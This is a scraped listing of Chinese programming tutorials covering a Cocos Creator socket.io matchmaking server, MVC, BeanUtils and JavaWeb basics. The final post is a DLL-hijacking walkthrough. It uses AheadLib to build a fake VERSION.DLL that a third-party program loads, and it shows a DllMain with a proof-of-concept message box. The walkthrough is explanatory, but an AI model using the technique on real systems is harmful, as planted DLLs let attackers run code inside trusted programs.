    3. Creator与服务器通信测试3.1 测试场景
    3.2 客户端脚本我是挂载在Canvas上,也可以选择直接挂载在Label上。
    onLoad: function () { let self = this; if (cc.sys.isNative) { window.io = SocketIO.connect; } else { require('socket.io'); } var socket = io('IP:端口'); socket.on('hello', function (msg) { self.label.string = msg; }); },
    记得下载socket.io并导入为插件
    3.3 服务器脚本(任意位置存放)let app = require('express')();let server = require('http').Server(app);let io =require('socket.io')(server);server.listen(4747,function(){ console.log('listening on:端口');});io.on ('connection',function(socket){ console.log('someone connected'); socket.emit('hello','success');});
    在服务端脚本存放的位置打开cmd
    输入

    npm link express

    输入

    npm link socket.io

    输入

    node test-server.js

    4. 总结不同的环境配置网络连接不同,要善于抓包发现问题。
    不过也从侧面看出cocos creator不是很适合做联网游戏,调试是真的恶心。
    本教程部分素材来源于网络。
    附上监听小程序,测试网络。
    2 留言 2018-12-06 15:02:34 奖励35点积分
  • MVC:开发模式

    MVC:开发模式一、jsp演变历史
    早期只有servlet,只能使用response输出标签数据,非常麻烦后来又jsp,简化了Servlet的开发,如果过度使用jsp,在jsp中即写大量的java代码,有写html表,造成难于维护,难于分工协作再后来,java的web开发,借鉴mvc开发模式,使得程序的设计更加合理性
    二、MVC
    M
    Model,模型。JavaBean

    完成具体的业务操作,如:查询数据库,封装对象
    V
    View,视图。JSP展示数据
    C
    Controller,控制器。Servlet

    获取用户的输入调用模型将数据交给视图进行展示
    三、优缺点优点
    耦合性低,方便维护,可以利于分工协作重用性高生命周期成本低部署快可维护性高有软件工程化管理
    缺点
    使得项目架构变得复杂,对开发人员要求高不适合小型,中等规模的应用程序增加系统结构和实现的复杂性视图与控制器间的过于紧密的连接视图对模型数据的低效率访问一般高级的界面工具或构造器不支持模式
    扩展阅读
    [CSDN] MVC模式简介
    [菜鸟教程] MVC 模式
    [百度百科] MVC框架

    <!--more-->
    0 留言 2020-03-21 15:05:36 奖励12点积分
  • BeanUtils的基本使用

    在《HTTP案例学习:用户登录》的学习中,使用到BeanUtils。
    案例中只涉及到封装username、password两个对象,但是实际上的用户登录界面,有十几个数据对象需要封装。
    按原来的方式,是非常麻烦的。期望能够一次把所有参数获取到,并且通过一个方法,一次把所有数据封装成一个对象。
    <font color='red' size='5'>BeanUtils,一个工具类,简化数据封装</font>
    这里专门挑出来,做一份简单的笔记。
    配合【教学视频】、【BeanUtils工具类常用方法】 食用更佳。
    <!--more-->


    我们将原来写的代码,
    //2.获取请求参数String username = req.getParameter("username");String password = req.getParameter("password");//3.封装user对象User loginUser = new User();loginUser.setUsername(username);loginUser.setPassword(password);使用BeanUtils工具类进行封装,
    //2.获取所有请求参数Map<String, String[]> map = req.getParameterMap();//3.创建User对象User loginUser = new User();//3-2.使用BeanUtils封装try { BeanUtils.populate(loginUser,map);} catch (IllegalAccessException e) { e.printStackTrace();} catch (InvocationTargetException e) { e.printStackTrace();}会发现只用简单几行代码就完成了封装,而不用和之前一样分别对每个数据进行封装。
    BeanUtils
    工具类,简化数据封装

    用于封装JavaBean的JavaBean:标准(简单)的Java类
    概念
    JavaBean成员变量属性:setter和getter方法截取后的产物
    例如:getUsername() —> Username—> username(大多数下,名字一样)

    JavaBean
    标准的Java类一般放在domain等package下
    功能
    <font color='red' size='5'>封装数据</font>



    要求
    类必须被public修饰
    必须提供空参的构造器
    成员变量必须使用private修饰
    提供公共setter和getter方法

    属性
    setter和getter方法截取后的产物
    例如:getUsername() —> Username—> username(大多数下,名字一样)

    调用方法
    setProperty()

    设置属性值

    getProperty()

    获取属性值

    populate(Object obj, Map map)

    将map集合的键值对信息,封装到对应的JavaBean对象中
    Demo配合 《HTTP案例学习:用户登录》 ,现在New一个BeanUtils.java
    package cn.itcast.test;import cn.itcast.domain.User;import org.apache.commons.beanutils.BeanUtils;import org.junit.Test;import java.lang.reflect.InvocationTargetException;public class BeanUtilsTest { @Test public void test(){ User user = new User(); try { BeanUtils.setProperty(user,"username","zhangsan"); System.out.println(user); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } }}控制台输出:

    扩展后来看的一篇博客 【BeanUtils工具类常用方法】,觉得写的很不错,一起记录在这里。

    相关资料【教学视频】:https://www.bilibili.com/video/av70420291?p=143
    【BeanUtils工具类常用方法】:https://blog.csdn.net/wzc1991520/article/details/80176679
    0 留言 2020-03-21 15:05:00 奖励30点积分
  • JavaWeb 概述

    JavaWeb使用Java语言开发基于互联网的项目
    今后主要使用B/S架构
    软件架构C/S:Clien/Server 客服端/服务器端在用户本地有一个客户端程序,在远程有一个服务器端。如:QQ,讯雷……
    优点
    用户体验好
    缺点
    开发、安装、部署、维护,麻烦
    ★B/S:Browser/Server 浏览器/服务器端只需要一个浏览器,用户通过不同的网站(URL),客户访问不同的服务器端程序
    优点:
    开发、安装、部署、维护,简单
    缺点
    如果应用过大,用户的体验可能会受到影响对硬件要求过高(带宽要高,……)
    <!--more-->

    B/S架构详解客户端浏览器通过URL,向服务器端发送请求,请求一些资源,资源就包括“静态资源”和“动态资源”。服务器端就会响应,返回这些资源。

    B/S架构是JavaWeb开发中重要的架构


    资源分类静态资源使用静态网页开发技术发布的资源
    特点
    所有用户访问,得到的结果是一样的如:文本,图片,音频,视频,HTML,CSS,JavaScript如果用户请求的是静态资源,那么服务器会直接将静态资源发送给浏览器。浏览器中内置了静态资源的解析引擎静态资源可以直接被浏览器解析

    1.HTML,CSS,JavaScript 统称:静态网页开发技术,也称静态网页三剑客2.经过解析引擎解析后,可以在浏览器中浏览图片、文字、超链接等3.不同浏览器的解析引擎不同,最终显示的网页可能不同

    HTML用于搭建基础网页,展示页面的内容
    CSS用于美化页面,布局页面
    JavaScript控制页面的元素,让页面有一些动态的效果
    ★动态资源使用动态网页技术发布的资源

    动态资源是今后学习JavaWeb的重点之一

    特点
    所用用户访问,得到的结果可能不一样如:jsp/servlet,php,asp……如果用户请求的是动态资源,那么服务器会执行动态资源转换为静态资源,再发送给用户

    学习动态资源前,必须学习静态资源!

    网络通信三要素IP
    电子设备(计算机)在网络中的唯一标识
    端口
    应用程序在计算机中的唯一标识。值范围:0~65536
    传输协议
    规定了数据传输的规则
    基础协议:

    tcp:安全协议,三次握手。 速度稍慢。
    udp:不安全协议。 速度快。


    Web服务器软件服务器
    安装了服务器软件的计算机
    服务器软件
    接收用户的请求,处理请求,做出响应
    Web服务器软件
    接收用户的请求,处理请求,做出响应。
    在Web服务器软件中,可以部署Web项目,让用户通过浏览器来访问这些项目
    Web容器

    常见的Java相关的Web服务器软件
    WebLogic:oracle公司,大型的JavaEE服务器,支持所有的JavaEE规范,收费的。
    WebSphere:IBM公司,大型的JavaEE服务器,支持所有的JavaEE规范,收费的。
    JBOSS:JBOSS公司的,大型的JavaEE服务器,支持所有的JavaEE规范,收费的。
    Tomcat:Apache基金组织,中小型的JavaEE服务器,仅仅支持少量的JavaEE规范servlet/jsp。开源的,免费的。


    JavaEE:Java语言在企业级开发中使用的技术规范的总和,一共规定了13项大的规范

    三大组件
    Servlet:服务器小程序Filter:过滤器Listener:监听器

    参照 https://www.cnblogs.com/kefir/p/9426754.html
    0 留言 2020-03-21 09:58:28 奖励35点积分
  • 【Cocos Creator 联机实战教程(2)】——匹配系统 精华

    1.知识点讲解大型多人互动游戏一般都会有一个匹配系统,用来让玩家进行联网游戏,现在我们来讲一讲这种系统吧,我们可以做个比较简单的双人对战匹配系统。
    我们让每一对匹配成功的玩家进入一个独立的房间,所以不同的房间的通信应该互不影响,由于不同场景的通信内容不同,所以不同场景的通信也应该独立
    我们把这个游戏的匹配过程比作开房的过程,

    如果有一个人进入了宾馆,那么他最先进入的区域就是hall(大厅),当然他可能就是逛逛,又推门出去
    当他想休息时他就去前台开个房,那么他就进入了queue(队列),并断开hall的通信
    当另一个人也想休息的时候也去前台排队,当个queue里有两个人的时候,前台小姐就给了他俩一个空闲房间的钥匙,他们就一起进入了一个独立的room,并断开queue的通信
    以上循环,房间数有限,在房间满的时候不能匹配成功

    当然,你也可以根据实际情况升级这个匹配系统,比如,分等级的匹配(开不同的队列等待)。
    注意:房卡游戏虽然也用到了房间这个概念,但不是匹配,这种游戏更像唱卡拉OK。进入大厅后,组织者去开个房间,其他人一起进。或者迟到的人拿着房间号直接进去。
    2. 步骤我们的游戏分为三个场景

    游戏启动的时候进入menu场景,当玩家点击对战时进入match场景,匹配成功进入game场景,取消匹配返回menu场景,游戏结束返回menu场景
    我们在Global里定义socket
    window.G = { globalSocket:null,//全局 hallSocket:null,//大厅 queueSocket:null,//队列 roomSocket:null,//房间 gameManager:null, chessManager:null, stand:null,}
    menu场景启动时,我们连接hallSocket,开始匹配时,断开hallSocket
    cc.Class({ extends: cc.Component, onLoad: function () { G.globalSocket = io.connect('127.0.0.1:4747'); //断开连接后再重新连接需要加上{'force new connection': true} G.hallSocket = io.connect('127.0.0.1:4747/hall',{'force new connection': true}); }, onBtnStart() { G.hallSocket.disconnect(); cc.director.loadScene('match'); }});
    进入match场景,连接queueSocket,先进入queue的玩家主场黑棋先手,后进入客场白棋后手(这个逻辑是服务端判断的),匹配成功时,服务端会发送roomId,玩家进入相应的房间,并断开queueSocket的通信
    const Constants = require('Constants');const STAND = Constants.STAND;cc.Class({ extends: cc.Component, onLoad: function () { G.queueSocket = io.connect('127.0.0.1:4747/queue', { 'force new connection': true }); G.queueSocket.on('set stand', function (stand) { if (stand === 'black') { G.stand = STAND.BLACK; } else if (stand === 'white') { G.stand = STAND.WHITE; } }); G.queueSocket.on('match success', function (roomId) { cc.log('match success' + roomId); G.roomSocket = io.connect('127.0.0.1:4747/rooms' + roomId, { 'force new connection': true }); G.queueSocket.disconnect(); cc.director.loadScene('game'); }); }, onBtnCancel() { G.queueSocket.disconnect(); cc.director.loadScene('menu'); }});
    在game场景中,如果游戏结束我们就断掉roomSocket回到menu场景
    startGame() { this.turn = STAND.BLACK; this.gameState = GAME_STATE.PLAYING; this.showInfo('start game'); },endGame() { let onFinished = () =>{ G.roomSocket.disconnect(); cc.director.loadScene('menu'); } this.infoAnimation.on('finished',onFinished,this); this.gameState = GAME_STATE.OVER; this.showInfo('game over'); },
    服务端完整逻辑
    let app = require('express')();let server = require('http').Server(app);let io = require('socket.io')(server);server.listen(4747, function() { console.log('listening on:4747');});let MAX = 30;//最大支持连接房间数let hall = null;//大厅let queue = null;//匹配队列let rooms = [];//游戏房间function Hall() { this.people = 0; this.socket = null;}function Room(){ this.people = 0; this.socket = null;}function Queue(){ this.people = 0; this.socket = null;}hall = new Hall();queue = new Queue();for(let n = 0;n < MAX;n++){ rooms[n] = new Room();}function getFreeRoom(){ for(let n = 0;n < MAX;n++){ if(rooms[n].people === 0){ return n; } } return -1;}io.people = 0;io.on('connection',function(socket){ io.people++; console.log('someone connected'); socket.on('disconnect',function(){ io.people--; console.log('someone disconnected'); });})hall.socket = io.of('/hall').on('connection', function(socket) { hall.people++; console.log('a player connected.There are '+hall.people+' people in hall'); hall.socket.emit('people changed',hall.people); socket.on('disconnect',function(){ hall.people--; console.log('a player disconnected.There are '+hall.people+' people in hall'); hall.socket.emit('people changed',hall.people); });});queue.socket = io.of('/queue').on('connection',function(socket){ queue.people++; console.log('someone connect queue socket.There are '+queue.people+' people in queue'); if(queue.people === 1){ socket.emit('set stand','black'); }else if(queue.people === 2){ socket.emit('set stand','white'); let roomId = getFreeRoom(); console.log(roomId+"roomId"); if(roomId >= 0){ queue.socket.emit('match success',roomId); console.log('match success.There are '+queue.people+' people in queue'); }else{ console.log('no free room!'); } } socket.on('cancel match',function(){ queue.people--; console.log('someone cancel match.There are '+queue.people+' people in queue'); }); socket.on('disconnect',function(){ queue.people--; console.log('someone disconnected match.There are '+queue.people+' people in queue'); });});for(let i = 0;i < MAX;i++){ rooms[i].socket = io.of('/rooms'+i).on('connection',function(socket){ rooms[i].people++; console.log('some one connected room'+i+'.There are '+rooms[i].people+' people in the room'); socket.on('update chessboard',function(chessCoor){ socket.broadcast.emit('update chessboard',chessCoor); }); socket.on('force change turn',function(){ socket.broadcast.emit('force change turn'); }); socket.on('disconnect',function(){ rooms[i].people--; console.log('someone disconnected room'+i+'.There are '+rooms[i].people+' people in the room'); }); });}
    3. 总结我们做的是比较简单的匹配系统,实际上还有匹配算法(选择排队的顺序不仅仅是先来后到)。
    这是我们需要掌握的新知识,除此之外我们都可以使用之前的知识点完成游戏。
    注意以下问题:

    跨场景访问变量
    在util下面有两个脚本,Constants用来存储游戏常量,然后其他地方需要常量时
    const Constants = require('Constants');const GAME_STATE = Constants.GAME_STATE;const STAND = Constants.STAND;const CHESS_TYPE = Constants.CHESS_TYPE;
    Global存储全局控制句柄,需要访问他们的时候,就可以通过(G.)的方式

    控制单位应该是脚本而不是节点
    本教程部分素材来源于网络。
    4 留言 2018-12-07 14:58:43 奖励35点积分
  • 基于AheadLib工具进行DLL劫持 精华

    背景或许你听过DLL劫持技术,获取你还没有尝试过DLL劫持技术。DLL劫持技术的原理是:

    由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。

    现在,本文就使用 AheadLib 工具生成劫持代码,对程序进行DLL劫持。现在就把实现原理和过程写成文档,分享给大家。
    实现过程本文选取劫持的程序是从网上随便下的一个程序“360文件粉碎机独立版.exe”,我们使用 PEview.exe 查看改程序的导入表,主要是看有程序需要导入哪些DLL文件。

    观察导入的DLL,类似KERNEL32.DLL、USER32.DLL等受系统保护的重要DLL,劫持难度比较大,所以,我们选择VERSION.DLL。至于,判断是不是受系统保护的DLL,可以查看注册表里面的键值,里面的DLL都是系统保护的,加载路径固定:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\knowndlls然后,确定劫持的DLL文件之后,我们使用 AheadLib 工具来生成DLL劫持代码:

    接着,新建一个DLL工程,把AheadLib工具生成的代码拷贝到DLL工程中,同时,我们在DLL的入口点函数DllMain中增加一行弹窗代码,这样可以提示我们DLL劫持成功。然后编译链接,生成DLL文件。这个我们自己编译生成的DLL文件,就可以把DLL名称改成“VERSION.DLL”,放到和“360文件粉碎机独立版.exe”程序在同一目录下,运行程序,则会加载同一目录下的“VERSION.DLL”。
    为了验证DLL程序是否能成功劫持,我们把改名后的“VERSION.DLL”和“360文件粉碎机独立版.exe”放在桌面,然后,运行程序,这是,成功弹窗:

    我们使用 Process Explorer 工具查看下“360文件粉碎机独立版.exe”进程加载的DLL情况:

    可以看到,我们自己的version.dll成功被加载,而且还加载了系统的version.dll。之所以会加载系统的version.dll文件,是因为我们自己的DLL文件中,会加载version.dll文件。
    编码实现现在,我给出version.dll劫持部分入口点部分的代码,其余的代码都是使用AheadLib工具生成的,自己在入口点添加了一行弹窗的代码而已。
    // 入口函数BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved){ if (dwReason == DLL_PROCESS_ATTACH) { DisableThreadLibraryCalls(hModule); ::MessageBox(NULL, "I am Demon", "CDIY", MB_OK); return Load(); } else if (dwReason == DLL_PROCESS_DETACH) { Free(); } return TRUE;}
    总结有了AheadLib劫持代码生成工具的帮助,使得DLL劫持变得很轻松。本文的文档自己极力简化了,大家只要认真跟着步骤操作,应该可以看得懂的。
    注意,本文演示的例子实在 Windows7 32位系统上,对于64位系统,原理是一样的,对于代码劫持工具也可以换成 AheadLib 64位版本的。
    参考参考自《Windows黑客编程技术详解》一书
    2 留言 2018-12-10 09:49:26 奖励40点积分
显示 0 到 15 ,共 15 条

热门回复

eject